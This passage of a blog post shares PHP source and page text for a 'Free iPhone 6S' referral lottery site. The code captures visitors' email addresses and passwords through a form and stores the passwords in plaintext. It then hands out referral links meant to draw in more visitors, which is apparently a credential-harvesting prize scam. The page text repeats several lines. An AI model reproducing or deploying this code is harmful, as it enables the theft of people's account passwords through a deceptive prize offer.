Click here to go to Homepage');
}
function generateRandomString($length = 7)
{
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= str_shuffle($characters[rand(0, $charactersLength - 1)]);
}
return $randomString;
}
$email=($_POST['email']);
$pass=($_POST['pass']);
$con=mysqli_connect('localhost', 'root', '');
mysqli_select_db($con, 'database');
$email=mysqli_real_escape_string($con, $_POST['email']);
$pass=mysqli_real_escape_string($con, $_POST['pass']);
$query="SELECT `refe` FROM `table_name` WHERE `ad`='$email'";
$results=mysqli_query($con, $query);
if(mysqli_num_rows($results)!=0)
{
$row=mysqli_fetch_assoc($results);
$refer=$row['refe'];
}
else
{
$random=generateRandomString();
$query="INSERT INTO `table_name` VALUES('', '$email', '$pass', '$random')";
@mysqli_query($con, $query);
$refer=$random;
}
?>
Free Iphone 6S for everyone
2. From every 500 tickets, we draw one random ticket, and select our lucky winner for iPhone 6S and inform on your email.
Free iPhone 6S for everyone
Guidelines
1. The number of visitors to our website from your referral link will reach, those many tickets we will add to lucky draw of your email id.2. From every 500 tickets, we draw one random ticket, and select our lucky winner for iPhone 6S and inform on your email.
Your referral link is
http://www.free-i-phone.16mb.com?refer=
As many people will come to our website from your link, we will put that many tickets in the draw for you.
http://www.free-i-phone.16mb.com?refer=
As many people will come to our website from your link, we will put that many tickets in the draw for you.
Advertisement
0 comments:
Post a Comment